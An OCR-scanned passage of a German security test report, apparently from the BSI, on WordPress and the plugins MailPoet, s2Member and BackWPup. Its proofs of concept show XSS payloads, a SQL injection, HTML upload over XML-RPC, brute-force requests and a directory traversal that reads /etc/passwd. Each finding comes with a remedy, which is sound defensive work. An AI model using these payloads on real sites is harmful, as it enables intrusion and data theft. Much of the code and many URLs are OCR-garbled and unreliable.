Payload der zu importierenden Daten filr das Textfeld:

————— == =

.email;namE_
email@email.com;<script>alert (1) </script>

Payload als csv Datei fiir den Upload:
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E-Mail, Vorname, Nachname, IP-Adresse, Status, Datum des Eintrags_ T
<script>alert (1}</script>,<script>alert (1)</script>, <script>alert (1} </I.script>, <script>al
ert (1) </script>,<script>alert (1}</script>, <script>alert{1) </script>,-<-s_cript>alért (1)</sc
ript>

Screenshots:

# 6  moel deb-wordpress-scenariod ¢ T 4 sazm e b

Abbildung 5: Erfolgreiche Ausfithrung von JavaScript-Code in der Abonnenten-Ubersicht
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* @v» deb-werdnrew-acenanod © oo e

Abbildung 6: Frfolgreiche Ausfihrung von JavaScript-Code in der Import-Zusammenfassung

Risikofaktor: Mittel
6.1.3 . SQL-Injection in Newsletter-Aktivierung in Parameter wysiconf
Betroffenes Modul: MailPoet-Plugin {wysija)

Beschreibung:

Die ,Structured Query Language* (SQL) ist eine Abfragesprache fiir relationale Datenbanken, Dabei werden
vorgegebene Teile mit den Benutzereingaben zu eirier kompletten Abfrage kombiniert. Werden die vom
Benutzer gelieferten Eingaben nicht ausreichend gepriift bzw. vorverarbeitet, kann ein Angreifer beliebige
SQL-Befehle in die Abfrage einschleusen. Dieser Angriff wird als SQL-Injection bezeichnet. .

Ergebnis:

Wenn sich ein Benutzer iiber das Plugin MailPoet fiir einen Newsletter registriert, so erhilt er einen Opt-In-
Link per E-Mail zugestelit. In diesem Link ist der Parameter wysiconf enthalten, welcher im Grunde die
abonnierten Newsletter-IDs beinhaltet. Dieser Parameter kann so manipuliert werden, dass ein SQL-
Statement veriindert wird: : )

https:l/deb—wordpress-scemrio«l/?wysija-pageﬂlacontmllersconﬁm&wysija-
key=0NETIMEVAL]DKﬂ&acﬁonwsubscnbe&wysijapssubscﬁpﬁons&wysiconf-PAYLOAD

®  ONMETIMEVALIOKEY ist nur einmal giltig,
*  PAYLOAD ist ein Base64-kodierter String der Form ["1%,"2"].
* Manipulation des Payloads zuz. B. {"1); SQL-INJECTION"].
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Die Auswirkungen der Manipulation sind nur dann sichtbar, wenn man als Benutzer (ohne spezielle Rechte)
angemeldet ist, whrend man den manipulierten Link aufruft, Hierdurch wird eine Fehlerausgabe generiert,
in der sehr konkret die Fehlerstelle im SQL-Ausdruck gezeigt wird.

Proof 6f Concept:

Fehlermeldung, wenn fiir die Payload [*+] (Base64-kodiert: wyIqz1e-) genutzt wird:

rtrong WordPress-Datenbank-Fehler: latrong>

[You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '*)' at line 1]

<br>

<code>SELECT A, * FROM Kradawf7 wysija_user list as A LEFT JOIN Kradawf7_wysija_list as B
on A.list id=B.list_id WHERE A.user id=36 AND B.1s_enabled=1 AND A.list id IN(*)</code>

PHP-Quellcode:

wysija-newslettershelpemser.php, Zeile 1126
e

* get all of the lists a user has subscribed to
* @param int Suser_id
* @param array $list_ids
* @return array results
.
functlon.getUserLists($user‘id, Slimt 1as = array()) {
$model_user = WYSTJA::get('user', 'model');
$list_ad_in = '';
1f (lempty{$list ids))

GLLRE_LG i = "AND A.list_id IN(" . implode{(",", SLiay ide) |5 MM
$query = "SELECT A.* FROM [wysijaJuser_list as A LEFT JOIN {wysijallist as B on
A.list id=B.list_id WHERE A.user id=' . Suser_id . ' AND B.is_enabled=1 ' . Slhat_1d An;

return $model user->getResults ($query) ;
]

Risikofaktor: Schwer

Maftnahme:

SQL-Injection sollte mittels sicherer Zugriffsverfahren wie Prepared-Statements unterbunden werden. Ist
ein solches Verfahren nicht verfiigbar, miissen die Daten in Abhiéngigkeit von der jeweils verwendeten
Interpreter-Sprache bereinigt werden. In dem Fall miissen alle Metazeichen, die in der jeweiligen
Interpreter-Sprache als Zeichenikettenbegrenzer (String-Delimiter} oder zur syntaktischen Formatierung
des Codes verwendet werden {"*; (}$ % # | usw. ), aus der Eingabe entfernt oder escaped werden.

6.14  Unverschliisselte Ubertragung von Login-Daten iiber XML-RPC
Betroffenes Modul: WordPress Core -

Beschreibung:

Es ist méglich, die XML-RPC-Schnittstelle auch unverschlisselt tiber HTTP zu verwenden, selbst wenn die
Option FORCE_SSL_ADMIN korrekt gesetzt ist. Dadurch werden Zugangsdaten unverschliisselt {ibertragen.
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Beispiel:

Beispiel fiir einen XML-RPC-Request

POST /xmlrpc.php HTTB/1.1

Host: deb-wordpress-scenario3

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38. 0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml rapplication/xml; g=0.9,*/*; gq=0.8
Accept-Language: de,en-US;q=0.7,en; q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Content-Length: 209

<methodCall<methodName>wp. getUsersBlogs(/methodName><params>sparam><value>
<string>USERNAME</string></value></param>
“param><value><string>PASSWORD</ string></value></param></params>
</methodCall>

Risikofaktor: Mittel
Maftnahme:
Selbst wenn eine automatische Weiterleitung von HTTP-Requests auf HTTPS stattfinden sollte, sind die

Zugangsdaten bereits unverschltisselt iibertragen worden. Somit sind andere Maftnahmen notwendig:

*  Durch Erkennung des unverschliisselten Aufrufs der XML-RPC-Schnittstelle und Benachrichtigung
der Benutzer kbnnen die Client entsprechend umkonfiguriert werden. '

*  Es sollte der HSTS™-Header vom Server ausgeliefert werden, so dass Clients angewiesen werden,
diesen Server nur noch per HTTPS anzusprechen. Dies setzt natiirlich voraus, dass die Clients den
HSTS-Header kennen und korrekt implementieren:

6.1.5 Berechtigungsiiberschreitung im XML-RPC Dateiupload

Betroffenes Modul: WordPress Core

‘ Beschreibung:

Dateien kénnen in WordPress sowohl im Backend iiber "Media" als auch per XML-RPC-Schnittstelle
hochgeladen werden. Es wurde festgestellt, dass an beiden Stellen auch HTML-Dateien hochgeladen werden
kénnen. Dabei ist kein Freigabeprozess fiir hochgeladene Dateien vorgesehen, so dass ein Benutzer ohne das
Privileg "publish_posts" auch Inhalte veréffentlichen kann. Der Inhalt der HTML-Dateien ist frei vom

Benutzer wihlbar. Somit kann durch dieses Verhalten - Cross-Site-Scripting oder auch Phishing
durchgefiihrt werden.

Proof of Conicept:

POST /xmlrpc.php HTTR/1.1

"|Host: deb-wordpress-scenariod

'Referer: https://deb-wordpress-scenariod/
Content-Length: 1156

1 HTTP Strict Transport Security
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<methodCall><methadName>wp uploadFile</methodName>
<params.>
<pararm>
<value><string>1l</string></value>
</param>
<param>
<value><string>AUTHOR</string></value>
</param>
<param>
<value><string>PASSWORT</string></value>
</param>
<param>
<value><struct>
<member>
<name>name</name:
<value><string>virus.html</string></value>
</member>

<member><name>type</name><value><string>application/xhtml +xnl</string></value>
</member>

<member><name>bits</name><value><base64>FCFET ONUWVBFIGhObWw+DQo8aHRtbDANC)xib2R5PgOKDQo8
aDE+TXkgRmlyc30gSGVhaGluzzwvaDE+DOoNCIxwPk15IG2penNO I HBhcmFnemFwac 4 8L3A+DQuBc2NyaXBOPMFs
ZXJOKDEpPPCYzY3IpcHO+DQ0BL2 JvZHk+DOo8L2hObWw+

<{=-~ ... pending other data —-->
</baseéd></value></member>

| <member><name>overwrite</name><value><string>true</string></value></member></struct></va
| lueb</param></params></methodCall.

Beispiel-Link zum Aufruf der hochgeladenen Datei:
https://deb-wordpress-scenariod/wp-content/uploads/2016/01/virus.html
Risikofaktor: Mittel

Maftnahme:

Es muss eine Berechtigungsiiberpriifung fiir das Freigeben von Inhalten implementiert oder die Maglichkeit
des Uploads von HTML-Dateien unterbunden werden,

6.1.6 Potentielle Code Execution Giber c_ws_plugin__s2member_utilities::evl()
Betroffenes Modul: s2Member-Plugin

Beschreibung:

Durch Schwachstellen des Typs Code Execution ist es moglich, dass Benutzer selbstgewihlten Code auf dem
Server zur Ausfilhrung bringen. Die Auswirkungen sind sehr vielfiltig, so konnen der Server durch
aufwindige Berechnungen ausgelastet (DoS), Programmlogik umgangen, Dateien und Datenbank-Tabellen
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ausgelésen oder Backdoors fiir den dauerhaften Zugriff und unter Umstinden zur Ausfithrung von
Betriebssystembefehlen eingerichtet werden.

Ergebnis:

Im Plugin s2Member ist. die Methode c_ws _plugin__s2member_utilities::evl() definiert, welche im
Grunde nur ein Wrapper fiir die PHP-Funktion eval ist. Diese Funktion fithrt den als Parameter
{ibergebenen Code aus.

Werden Werte an diese evl()-Methode fibergeben, welche durch Benutzereingaben beeinflusst werden
kénnen, ist es moglich, PHP-Code einzuschleusen und zur Ausfithrung zu bringen.

Ein Beispiel fir die Verwendung dieser Methode ist der Mailversand bei Benutzerregistrierungen. Im
Backend des s2Member-Plugins kann der Mail-Betreff und -Text derart angepasst werden, dass Platzhalter
fiir z. B. den Vornamen mitgesendet werden. Dies wire bspw. eine Eingabe, die in die evl()-Methode
einfliefit.

Im Test war es jedoch nicht méglich, die Variable $user->first_name mit entsprechendem Schadcode zu
versehen, da spitze Klammern (<,>} durch HTML-Entities dargestellt und Strings wie <?php echo 'foo'; 7>
durch strip_tags gefiltert werden, Diese Validierung findet noch vor Verwendung der Variable in diesem
Skript statt. Dadurch ist an dieser Stelle Code Execution nicht ausnutzbar.

Es sind jedoch noch einige weitere Stellen im s2Member-Plugin vorhanden, bei denen potentiell
Benutzereing@en in die ev1{ )-Me_thode einflieflen. f :

PHP-Quellcode:

wp~contnnt!plt|gi11s,!'s2member/includes/classe’s/ema.il—conﬁgs.inc.php
Af {[Smsg = preg replace ('/\iuser_ first name:i/i',
“_We_plugin  sPmember utils_strings::esc_refs ($user~>first name), S$msg)})

Shisg: = c Wk _piugln_ sZmember utilities::evl{$msg, get_defined vars());

Risikofaktor: Mittel

Mafitnahme;

Es wird dringend empfohlen, vor Verwendung der, evi()-Methode den itbergebenen Parameter zu
validieren, z.B. auf Vorkommen von <?.

6.1.7 s2Member Log-Datei ohne Authentifizierung
Betroffenes Modul: s2Member-Plugin

Beschreibung:

Das s2Member Plugin erzeugt bei entsprechender Konfiguration Log-Dateien. In einem zip-Archiv kénnen
alle angefallenen Log-Dateien auch ohne Authentifizierung heruntergeladen werden ]

Der Pfad ist statisch und der Dateiname lasst sich ermitteln bzw, erraten.
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Proof of Concept:

Ihttp;//deb—wcrdpress—scenario4/wp—content/plugins/sZmember—logs/deb—wordpress—
scenariod~—s2member-logs. zip

Risikofaktor: Mittel

Mafinahme:

Das Problem kann durch Implementierung einer Berechtigungspriifung oder durch Verwendung eines
Dateinamens, welcher durch einen starken Zufallswert im Namen nicht erratbar ist, behoben werden.

6.1.8 Brute Force von Benutzerpasswértern Gber XML-RPC
Betroffenes Modul: WordPress Core

Beschreibung:

Uber die XML-RPC-Schnittstelle (/xmlrpcphp) kénnen z. B. mit der Methode wp.getUsersBlogs
Benutzerpassworter chne Sperre oder Verzégerung durchprobiert werden.

Dadurch ist es méglich, einen Brute-Force-Angriff durchzufithren, Im Gegensatz zur XML-RPC-
Schnittstelle unterbindet die normale Anmeldemaske einen derartigen Angriff durch Blockierung der IP-
Adresse. - ’ .

Proof of Concept:’

Beispiel-Request fiir XM[ - RPC-Call mit Angabe von Zugangsdaten:

|POST /xmlrpc.php HTTP/1.1
Host: deb-wordpress-scenario3

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xm1,appllcation/xml;q=0.9,*/*;q=0 8
Accept-Language: de,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Caontent-Length: 208

<methodCa11><methodName>wp.getUsersBlogs</methodName><params><param><value>
“String>BENUTZERNAME</string></value></param>
<param><va1ue><string)PASSWORT</st:lng>(/va1ue></param></params>
</methodCall>

e ————=——— — L s |

Antwort bei falscher Kombination;

<?xml version="1.0" encoding="UTF-8"7> __1
<methodResponse>
<fault>
<value>

|
|
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
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</member>
<member:>
<name>faultString</name.~
<value><string>Benutias cdar Passwort falsch </string></value>
</member.>
</struct>
</value>
</fault>
</methodResponse>

Antwort bei richtiger Kombination:

<?xml version="1.0" encoding="UTF-8"2>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member>(name>1sAdmin</name><value\<boolean>1</boolean>(/va1ue>(/member>
&member>xname>url</name><value><string>http://deb—wordpress—
scenario3/</string></value></member>
<memher><name>h1ogid</name><value><string>1</string></value></memher>
<member><name>blogName</name><value><string>Lorem ipsum</string>-/value></member>
<member><name>xm1rpc</name><value><string>https://deb-wordpress—
scenario3/xmlrpc. php</string></value></member>
</struct></value™
</data></array>
</value>
</param>
</params>
</methodResponse>

Risikofaktor: Mittel
Maftnahme:

Als GegenmafRnahme kann die Zeile: add_filter( ‘xmlrpc_enabled’, '__return_false' ); in Functions.php des

Templates eingefiigt werden: Diese Einstellung wiirde jedoch bei jedem Update des Templates wieder
iiberschrieben werden, weshalb dieser ‘Weg nicht zielfiihrend ist.

Alternativ kann im Apache der Zugriff auf diese Datei unterbunden werden:

# Disallow access to important files

<FilesMatch ® ("%, lwp-
Order deny,allow
Deny from all

</FilesMatch>

figh.phpixmlrpe\. php i<irobora) ) txe | [ 1lasmich | randnell. =) *s

Dabei ist jeﬂoch zu beaéhtén, dass eventtiell bereits der Proxy-Mechanismus des Apache zum Verarbeiten
von PHP-Dateien durch FPM vor dieser Regel greift und somit der Zugriff weiterhin gegeben ist.
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6.1.9 Directory Traversal

Beschreibung;

Die Applikation greift auf Ressourcen im Dateisystem zu und verwendet dabei vom Benutzer iibergebene,
ungefilterte Benutzereingaben. Damit ist es einem Angreifer maglich, den Dateipfad zu manipulieren und
auf Ressourcen zuzugreifen, die eigentlich geschiitzt sein sollten.

Mafinahme:

Die Eingabevalidierung sollte so restriktiv wie méglich sein, damit sicherheitsrelevante Nebenwirkungen
minimiert werden. Eine grundsétzliche Entscheidung ist die Wahl des Validierungsprinzips: Blacklisting
oder Whitelisting. Beim Blacklisting werden die problematischen Muster - definiert, die aus dem
Eingabestrom herausgefiltert werden, alles andere wird durchgelassen. Beim Whitelisting ist es umgekehrt:
was nicht ausdriicklich erlaubt ist, ist verboten. Blacklisting ist problematisch, weil die Gefahr besteht, dass
problematische Muster beim Design oder bei der Implementierung vergessen werden oder dass neue
problematische Muster hinzukommen (z. B. aufgrund neuer Angriffsmethoden). Beim Whitelist-Ansatz
werden diese Muster dann i. d. R automatisch geblockt, wihrend sie beim Blacklist-Ansatz solange weiter
durchgelassen werden, bis die Regeln angepasst werden. Ein anderes Problemn beim Blacklisting ist, dass
méglicherweise Zeichen oder Zeichenketten herausgefiltert werden, die in speziellen Anwendungsfillen
explizit erwiinscht sind. Daher ist das Whitelist-Verfahren dem Blacklist-Verfahren generell vorzuziehen.

6.19.1  Directory Traversal in BackWPup Auftragslogs

Betroffenes Modul: BackWPup-Plugin

Ergebnis:

Wird im Plugin BackWPup ein Auftrag angestofien, kann wihrenddessen ein Auszug der Logs abgefragt

werden. Dieser Request beinhaltet den Parameter logfile, aus welchem die Log-Eintrige herausgezogen
werden., 5

Dieser Parameter kann derart manipuliert werden, dass beliebige Dateien im Dateisystem ausgelesen
werden konnen. ) ’

Nur Benutzer mit Administrator-Rechten diirfen auf dieses Plugin zugreifen.

Proof of Concept:

Im folgenden Request wird anstelle der Log-Datei die Datei /etc/passwd abgefragt:

dptess-acanariod /wp—ads sdmin=ajax.php

JSON-Antwort ‘

{"log_pos":1536,"log_text”:"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/us
r\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3: sys:\/
dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync: \/bin: \/bin\/sync\ngames:x:5:60:games:\/us
r\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man: \/usr\/skin\/nologin\nlp

:x:7:7:1p: \/var\/spool\/1pd: \/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbi
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In\/noloqin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\7
/var\/spocl\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13 iproxy:\/bin:\/usr\/sbin\/nologin\n !
www-data:x:33:33: www—

data:\/vazr\/www.\/usr\/sbin\/nologin\nbackup:x:34:34 :backup:\/var\/backups:\/usr\/sbin\/
nologin\nlist:x:38:38:Mailing List
Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ired:\/var\/run\/ircd: \/usr\/sbin\
/nologin\ngnats:x:41:41;Gnats Bug-Reporting System

(admin} :\/var\/1lib\/gnats:\/usr\/sbin\/nologin\nnobody:x: 65534: 65534 :nobedy: \/nonexisten
t;\/usr\/shin\/nologin\nsystemd—timesync:x:100:103:systemd Time

Synchronization,,, :\/run\/systemd:\/bin\/false\nsystemd-network:x:101:104: systemd
Network Management,,,:\/run\/systemd\/netif: \/bin\/false\nsystemd~
resolve:x:102:105:systemd Resolver,,,:\/run\/systemd\/resolve: \/bin\/false\nsystemd-bus-
proxy:x:103:106:systemd Bus 3
Proxy,,.:\/run\/systemd:\/bin\/false\nsshd:x:104:65534::\/var\/run\/sshd:\/usr\/sbin\/no
login\nmysql:x:105:111:MySQL Server,,,:\/nonexistent:\/bin\/false\ncms:x:1002:1002:CMS—
Benutzer,,, :\/home\/cms:\/kin\/false\npostfix:x:106:112; \/var\/spool\/postfix:\/bin\/fa"
1se\n","warning_count":"", "error_count”:"", "running_time":"", "step_percent":100,"on_step
":"<div class=\"backwpup-message backwpup-info\"><p>Auftrag
vollst\ul0edndig<\/p><\/div>", "last_msg":"<div class=\"updated\"><p>Auftrag erledigt in
Sekunden.<\/p><\/div>", "last_error_msg":"","sub_step_percent":100Q, "restart_url”:"", "job_
done":1}

PHP-Quel.lc(;de:

wp-content/plugins/backwpup/inc/class-page-jobs.php

¥/ 5151 PUBLLIE wfatic function ajax_working() |
761: Lin = isset( $_GET[ 'logfile’' ] ) ? $log_folder . trim(
$_GET| ‘logfile’ | ) : NULL;

804:

$logfiledata = file get contents( logf!lw, FALSE, NULL, $logpos );:

Risikofaktor: Mittel

6.19.2  Directory Traversal in wysija-Theme-Installation
Betroffenes Modul: MailPoet-Plugin (wysija)

Ergebnis:

Bei der Installation von neuen Themes fiir das wysija Plugin (MailPoet) kann im Parameter theme_key ein
anderer Pfad angegeben werden, so dass die hochgeladene Datei an nahezu jeder Stelle im Dateisystem
abgelegt werden kann,

Nur der Administrator ist in der Lage, dieses Plugin zu bedienen.

PHP-Quellcode:

htdocswp-contentplugiriswysija-newslettershelpersthemes.php
function installTheme ($ZipfileResult,$mantal=falue){
ShelperF=WYSIJA: :get{'file’, 'helper');
if{l@file_exists($ZipfileResult)){
/* 1- make the dir where the file is supposed to be received */
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$dirtemp=$helperF->makeDir () ;
$dirtemp=str_replace("/",DS, Sdirtemp) ;
/* 2- create a temp file */

e=maipfila=Sdirtemp. § REQUEST] ' thems kay’] ' .zip';

$fp = fopen(itemprintila, 'w');
fwrite ($fp, $2ipfileResult);
fclose ($fp);

Risikofaktor: Leicht

6.1.9.3 Directory Traversal in wysij"a-newslette’rs generate_social_bookmarks()
Betroffenes Modul: MailPoet-Plugin (wysija)

Ergebnis:

Bei der Generierung von Social-Media-Buttons innerhalb des wysija-Newsletter-Plugins kann ein beliebiges
Verzeichnis im Server-Dateisystem angesprochen werden, Hierfiir muss im Request fiir das Generieren der
Social-Media-Icons in dem Parameter wysijaData[$][value] (mit wysijaData[9] [name]=bookmarks-iconset
oder wysijaData[9][nameJ=bookmarks-theme) anstatt zwei Ziffern ein relativer Pfad angegeben werden.

Durch diese Manipulation werden die Icons von einem anderen Verzeichnis gezogeh. Allérdings werden
nur Dateien beriicksichtigt, welche einen bestimmten Dateinamen haben. Somit ist keine Ausgabe des
Angriffs gegeben. '

Dennoch kann durch diesen Angriff der unerwiinschte Zugriff auf Dateien bewirkt werden, welcher mit
einer Validierung des Parameters verhindert werden kdnnte,

PHP-Quellcode:

\_lg_p-contentpluginswysija—news]etterscontro]lersajaxcampaigns‘php
function generate_social bookmarks({} {
} oedee li({$values{'name'] === ‘bookmarks—theme') {

Sehons = Sualiins et

) elae if($values]'name'] 'bookmarks-iconset’) {
Slconset = Svaluid!'valia’ 3
f{$iconset === '00') {
$icons = $bookmarksHelper—>quti i Mhame (51 he )
I else
$icons = $bookmarksHelper—>ur i Liylconmat (Ssize, Biconame)l

v_\fp-contenrplugmswysija-newslettershelpersbookmarks.php
function getAllBylconset ($size = 'medivm®, Siconmer) {
iielinndie = $fileHelper—>exists{'bookmarks' .DS3.$size.DS. $iconset) |
£ alle = Sdlefiantie('file'];
$icons = scandir(‘uciroaliog;

function getAllByTheme ("} w “r Stype = 'all')
Sdz e = SfileHelper-rexists('themes'.DS. ¢\ -DS. 'bookmarks") ;

_1___ |
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Jaon Oir & SdisHandle]'file'];
$icons = scandir(Sauuropiic);

Risikofaktor: Leicht

6.194  Directory Traversal in Plugin-Aktualisierung

Betroffenes Modul: WordPress Core

Ergebnis:

Steht fiir ein Plugin eine neue Version bereit, so kann durch Aufruf eines Links die neue Version eingespielt

werden. Dabei wird ein AJAX-Request ausgelost, der als POST-Parameter plugin die Hauptdatei des Plugins
samt Pfad, ausgehend vom Plugin-Verzeichnis, wbertrigt.

Dieser Pfad (z.B. plugin=backwpup%2Fbackwpup.php} kann verindert werden, um auch auf andere Dateien
zuzugreifen. Dabei wird jedoch nicht die gesamte Datei ausgelesen, sondern nur einige Metadaten, welche
durch einfaches Parsen extrahiert werden.

Diese Aktion darf nur ein Administrator durchfihren.

Proof of Concept:

Manipulierter Request, so dass eine Pfadebene nach oben und wieder nach unten gesprungen (../) wird:

POST /wp-admin/admin-ajax. php HTTP/1.1
Host: deb-wordpress-scenariod

Content-Length: 162
_ajax_nonce=df0503b3d6s&  q1 nehackwpepd 2F | W back v

A ATbackwinp n‘.-t-&slug=backwpup&username=&password=&connection_type-&public_key=&private_k {
ey=gaction=update—plugin ‘

Server-Antwort ist identisch zum Original-Request:

("suczesa®: false, Mdata™s (
{Mupdace”®: "plug , Tplaghn®: “kackupup /. S/baokwpop) /beckwpup. php*, "slug"+"backwpup”, *41
dVersion®:"™erelon 3.2:3%, *newVeraion™:"", *error": "Plugin-Aktualisierung
fehlgeschlagen."}}

PHP-Quellcode:

wp-admin/includes/ajax-actions.php

function wp_ajax_update_plugin() |
global $wp filesystem;

f = urldecode( 3 PoaT|‘plugin Vi ‘

$p1uqin__data = get_plugin_data{ WE_PLUGIN DIR . “J/' -, ‘Spluginly:
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Risikofaktor: Leicht
6.1.10 SQL-Fehlermeldung in MailPoet-Plugin
Betroffenes Modul: MailPoet-Plugin (wysija)

Beschreibung:;

Fehlermeldungen mit technischen Details erlauben es einem Angreifer, Informationen tber das Zielsystem
zu erlangen und Auswirkungen von Angriffen zu ermitteln. Im Falle einer Ausgabe von SQL-
Fehlermeldungen mitsamt SQL-Statement erhilt der Angreifer Informationen tber die Struktur des
Statements, um ggf. weitere SQL-Injection-Angriffe durchfihren zu kénnen. Er erhilt somit direktes
Feedback auf eine SQL-Injection-Versuche.

Ergebnis:

In den erhaltenen Newsletter-E-Mails des MailPoet-Plugins ist ein Link fir die Verwaltung des Newsletter-
Abonnements enthalten, z. B.: 4 B
https://deb-wordpress—scenario4/?wysija-page=l&controller=conﬁrm&wysija-
key=6e4382039dd78df77ad789af9497bcf4&acﬁon=subscriptions&wysijap=subscripﬁons#wysija-

subscriptions

Sendet man hiervon ausgehend einen modifizierten POST-Request, so kann eine SQL-Fehlermeldung
provoziert werden. Die Modifikation kann beispielhaft fiir jeden der wysija[user_list][***][] Parameter
erfolgen, indem der Wert ' verwendet wird.

Proof of Concept:

Fehlermeldung, wenn fiir die Payload ["*"] {Base64-kodiert: WyIqIle=)genutzt wird:

POST /?wysija—paqe=1&contrcller=confirm&wysija—
key=6e4a82039dd78df77ad789af9497bcf4&action=subscriptions&wysijap=subscriptions HTTP/1.1
Host: deb-wordpress—scenariod

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0‘9,*/*;q=0.8
Accept-Language: de,en-US;qg=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: https://deb—wordpress—scenarioa/?wyszja—page=l&contrcller=confirm&wysija—
key=6e43820a9dd78df77ad789af9497bcf4&action=5ubscriptions&wysijap=subscriptions
Cookie: wordpress test_cookie=WF+Cookie+check

Connecticn: close

Content-Type: application/x-www—form-urlencoded

Content-Length: 557

wysija SBuser 5D*5BemailSD=mrset40mms-dresden.deswysijas5BusersSD SBfirstname
%5D=akwysija 5Buserz5Dw5Blastname+5D=aswysija SBuser SDs5Bstatus#5D=1&wysija -5Buser_list
5D 5Blist_id*5D25B.5D='&awysija SBuser_list 5D*5Bunsub list 5D*5B35D= &wysija |
“SBuser_list bD%5Blist_id 5D 5B%5Dw gwysijalSBuser listi5D: SBunsub_list5D«5B

%5D= &_wpnonce=5e393fc0fes_wp_http referer= 2F$3Fwysija-page.3D1’ 26controlleri3Deconfirm
%26wysija-key*3D6e4a820a9dd78df77ad78%af3497bctd “26action 3Dsubscriptions%2éwysijap |
%3Dsubscriptions&wyslja“SBuser"5D%5Buser_idv:5D=35&id=35&action=save

Bundesamt fUr Sicherheit in der Informationstechnik

Sicherheitstest des Content-Management-Systems WordPress Phase 5: Abschl 6

AL ]

Fehlermeldung in der Servarantwort:

“div ld=Ferroxr*i<p class="wpdberror™>«<ne rong-WordPress—Datenbank-Fehler: /<t j4-
[Duplicate entry &#039;0-35:#039; for key &#039; PRIMARY&#039;] ‘br />~ v-ar INSERT INTO |
‘Kradawf?7_wysija_user_list' (‘user_id', “list_id') VARUES (35, 0)</- e «/p - /div o]

TIFE htmi>

lang="de=DE" clanns="no—3a"»

Risikofaktor: Mittel
Mafinahme;

Es sollten keine Fehlermeldungen mit technischen Details wie dem SQL-Statement ausgeliefert werden.

6.1.11 Zugriff auf Daten im internen Bereich
Betroffenes Modul: s2Member-Plugin

Beschreibung:
Es wurde bei einer WordPress-Instanz durch das Plugin s2Member ein "interner" Bereich geschaffen, auf
den nur authentifizierte Benutzer Zugriff erhalten sollen.

Im Test konnte auf Unterseiten und Dateien im diesem internen Bereich zugegriffen werden, ohne dass
zuvor eine Anmeldung notwendig war, zum Beispiel:

- https://deb-wordpress-scenario4/intern/putty/*
. https://deb—wordpress-sc_enario4/intem/upload-test/*
. https://deb—wordpréss-scenario4/intem/blindtext/*
Um herauszufinden, welche Seiten existieren, kann durch die Post-ID iteriert werden, z.B, https://deb-
wordpress-scenario4/?p=127. .

Risikofaktor: Mittel

.Maftnahme:

Die Berechtigungspriifung sollte auf alle Untersejten und weitere Elemente des Bereichs vererbt werden.

6.1.12 Keine Password-Policy nativ implementierbar
Betroffenes Modul: WordPress Core

Beschreibung:

‘WordPress unterstitzt nativ nicht die Méglichkeit, Passwort-Richtlinien zu konfigurieren. Der Prbzess beim
Registrieren eines Frontend-Benutzers gibt bereits ein starkes Passwort vor und dem Benutzer wird visuell

angezeigt, wie stark das eingegebene Passwort ist. Jedoch besteht fiir den Benutzer auch die Moglichkeit, ein
schwaches Passwort zu verwenden,
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Ober mindestens 3 Plugins ist es auch méglich, eine Passwort-Policy zu implementieren, Nativ_ist
WordPress hierzu jedoch nicht in der Lage. )

Ein angemeldeter Benutzer kann sein eigenes Passwort neu setzen, Bei Eingabe eines schwachen Passworts
(z. B. "a") muss er nur mit einer Checkbox bestitigen, dass er sicher ist, dass er ein schwachés Passwort

verwendet. Weiterhin muss er das neue Passwort nur einmal eingeben und muss es kein zweites Mal
bestatigen (Profil->Neues Passwort). i

Risikofaktor: Leicht

Mafnahme:

Damit sicherheitsbewusste Administratoren nicht auf (evt], unsichere) Plugins zuriickgreifen miissen, sollte
WordPress diese grundlegende Funktionalitit einer konfigurierbaren Passwort-Policy implementieren. -

6.1.13 Frontend-Session unverschliisselt
Betroffenes Modul: WordPress Core

Beschreibung:

Wenn man sich im Frontend anmeldet, findet dieser Login verschliisselt iiber HTTPS statt, Die weiteren
Verbindungen werden jedoch wieder - per  HTTP durchgefihrt. Dadurch wird das Cookie
wordpress_logged_in_chash> ebenso unverschliisselt iibertragen. Démentsprechend ist fiir dieses Cookie
auch das secure-Flag nicht gesetzt.

Ein Angreifer kénnte das Cookie fiir die Frontend-Authentifizierung stehlen und somit den zugehdrigen
Benutzer verkdrpern.

Screenshot:
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Abbildung 7: Angemeldete Session ohne HTTPS-Verbindung; Cookie ohne secure-Flag
Risikofaktor: Leicht
Mafnahme:

Sobald ein Benutzer sich authentifiziert, muss bis zum Logout eine sichere verschliisselte Verbindung
erhalten und erzwungen werden, da ansonsten das Authentifizierungstoken (Cookie) unverschliisselt
fibertragen wird. Ist dies umgesetzt, sollte das Cookie entsprechend mit dem secure-Flag versehen werden;
sodass dieses niemals iiber eine unverschliisselte Verbindung zum Server gesendet wird,

6.1.14 Datenbank-Prifix in JavaScript-Code
Betroffenes Modul: WordPress Core

Beschreibung:

Fiihrt man eine Suche im Frontend durch, so wird der Suchbegriff auch in einem JavaScript-Block fiir
infiniteScroll reflektiert. In diesem JSON-Objekt gibt es auch das Element search_orderby_title, in dessen
Value ein Teil eines SQL-Statements steht:

,"search_order'by_title":["KradaﬁﬁJosts.post_title LIKE ‘%testX'"]

Hier kann der Prifix fiir die WordPress-Datenbank-Tabellen 'eingesehen werden. Dieser Prifix hat
urspriinglich nicht den Zweck, die Sicherheit zu erh8hen, sondern mehrere WordPress Instailationen in
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einem Datenbank-Schema zu erlauben. Dennoch erméglicht die Kenntnis des Prifix einem Angreifer, bei
